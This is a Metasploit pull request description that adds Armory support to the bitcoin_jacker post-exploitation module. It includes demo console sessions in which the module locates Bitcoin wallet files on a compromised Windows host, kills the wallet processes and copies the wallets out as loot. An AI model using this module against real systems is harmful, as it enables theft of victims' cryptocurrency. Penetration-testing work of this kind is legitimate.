rapid7/metasploit-framework — pull request #2807 by todb-r7 (2013-12-29 19:11:27+00:00)
Title: Add Armory support to @illwill's bitcoin_jacker post module

This updates the 2+ year old bitcoin_jacker.rb module that got some recent attention on Twitter for some reason.

Also, I did not invent Bitcoin (no matter what you've read on the Internet).

Note that Armory / Bitcoin-QT could mitigate this attack significantly this by allowing the user to set an arbitrary file path for saving their generated wallets (namely, to removable media). AFAICT, there is no option for this in the standard QT-based clients.

## Validation

- [ ] Install Armory, an often recommend Bitcoin wallet manager application, from https://bitcoinarmory.com/download/ . This procedure will also incidentally install the stock BitcoinQT client, so your target will have *both* formats available.
- [ ] Open a Meterpreter session to the target.
- [ ] Replicate the demo, below:

````
msf post(bitcoin_jacker) > info

Name: Windows Gather Bitcoin Wallet
Module: post/windows/gather/bitcoin_jacker
Platform: Windows
Arch:
Rank: Normal

Provided by:
illwill
todb

Description:
This module downloads any Bitcoin wallet files from the target
system. It currently supports both the classic Satoshi wallet and
the more recent Armory wallets. Note that Satoshi wallets tend to be
unencrypted by default, while Armory wallets tend to be encrypted by
default.

msf post(bitcoin_jacker) > show options

Module options (post/windows/gather/bitcoin_jacker):

Name Current Setting Required Description
---- --------------- -------- -----------
KILL_PROCESSES true no Kill associated Bitcoin processes before jacking.
SESSION 1 yes The session to run this module on.

msf post(bitcoin_jacker) > set KILL_PROCESSES false
KILL_PROCESSES => false
msf post(bitcoin_jacker) > exploit

[*] Checking all user profiles for Bitcoin wallets...
[*] Satoshi Wallet found at C:\Users\Tod Beardsley\AppData\Roaming\Bitcoin\wallet.dat
[*] Jackin' wallet...
[*] Wallet jacked: /home/todb/.msf4/loot/20131229125841_default_192.168.145.135_bitcoin.wallet.s_814483.dat
[*] Armory Wallet found at C:\Users\Tod Beardsley\AppData\Roaming\Armory\armory_2VmnWtU2K_.wallet
[*] Jackin' wallet...
[*] Wallet jacked: /home/todb/.msf4/loot/20131229125841_default_192.168.145.135_bitcoin.wallet.a_646708.bin
[*] Armory Wallet found at C:\Users\Tod Beardsley\AppData\Roaming\Armory\armory_2VmnWtU2K_backup.wallet
[*] Jackin' wallet...
[*] Wallet jacked: /home/todb/.msf4/loot/20131229125842_default_192.168.145.135_bitcoin.wallet.a_268790.bin
[*] Post module execution completed
````

Set KILL_PROCESSES set to true (I don't see the purpose of this, but illwill had this originally so there might be a reason).

````
msf post(bitcoin_jacker) > set KILL_PROCESSES true
KILL_PROCESSES => true
msf post(bitcoin_jacker) > exploit

[*] Checking all user profiles for Bitcoin wallets...
[*] Satoshi Wallet found at C:\Users\Tod Beardsley\AppData\Roaming\Bitcoin\wallet.dat
[*] Jackin' wallet...
[*] ArmoryQt.exe Process Found...
[*] Killing Process ID 3100...
[*] bitcoind.exe Process Found...
[*] Killing Process ID 3744...
[*] Wallet jacked: /home/todb/.msf4/loot/20131229125901_default_192.168.145.135_bitcoin.wallet.s_043937.dat
[*] Armory Wallet found at C:\Users\Tod Beardsley\AppData\Roaming\Armory\armory_2VmnWtU2K_.wallet
[*] Jackin' wallet...
[*] Wallet jacked: /home/todb/.msf4/loot/20131229125902_default_192.168.145.135_bitcoin.wallet.a_470906.bin
[*] Armory Wallet found at C:\Users\Tod Beardsley\AppData\Roaming\Armory\armory_2VmnWtU2K_backup.wallet
[*] Jackin' wallet...
[*] Wallet jacked: /home/todb/.msf4/loot/20131229125902_default_192.168.145.135_bitcoin.wallet.a_667298.bin
[*] Post module execution completed
````

Note that this module make no attempts to de-dupe loot files (I don't know any that do, really), so now I have two copies of each:

````
msf post(bitcoin_jacker) > loot

Loot
====

host service type name content info path
---- ------- ---- ---- ------- ---- ----
192.168.145.135 bitcoin.wallet.armory C:\Users\Tod Beardsley\AppData\Roaming\Armory\armory_2VmnWtU2K_backup.wallet application/octet-stream Bitcoin Wallet (Armory) /home/todb/.msf4/loot/20131229125902_default_192.168.145.135_bitcoin.wallet.a_667298.bin
192.168.145.135 bitcoin.wallet.armory C:\Users\Tod Beardsley\AppData\Roaming\Armory\armory_2VmnWtU2K_.wallet application/octet-stream Bitcoin Wallet (Armory) /home/todb/.msf4/loot/20131229125902_default_192.168.145.135_bitcoin.wallet.a_470906.bin
192.168.145.135 bitcoin.wallet.satoshi C:\Users\Tod Beardsley\AppData\Roaming\Bitcoin\wallet.dat application/octet-stream Bitcoin Wallet (Satoshi) /home/todb/.msf4/loot/20131229125901_default_192.168.145.135_bitcoin.wallet.s_043937.dat
192.168.145.135 bitcoin.wallet.armory C:\Users\Tod Beardsley\AppData\Roaming\Armory\armory_2VmnWtU2K_backup.wallet application/octet-stream Bitcoin Wallet (Armory) /home/todb/.msf4/loot/20131229125842_default_192.168.145.135_bitcoin.wallet.a_268790.bin
192.168.145.135 bitcoin.wallet.armory C:\Users\Tod Beardsley\AppData\Roaming\Armory\armory_2VmnWtU2K_.wallet application/octet-stream Bitcoin Wallet (Armory) /home/todb/.msf4/loot/20131229125841_default_192.168.145.135_bitcoin.wallet.a_646708.bin
192.168.145.135 bitcoin.wallet.satoshi C:\Users\Tod Beardsley\AppData\Roaming\Bitcoin\wallet.dat application/octet-stream Bitcoin Wallet (Satoshi) /home/todb/.msf4/loot/20131229125841_default_192.168.145.135_bitcoin.wallet.s_814483.dat
````

Ta-da. Now you can spend the rest of the life of the universe cracking those Armory bitcoin wallets.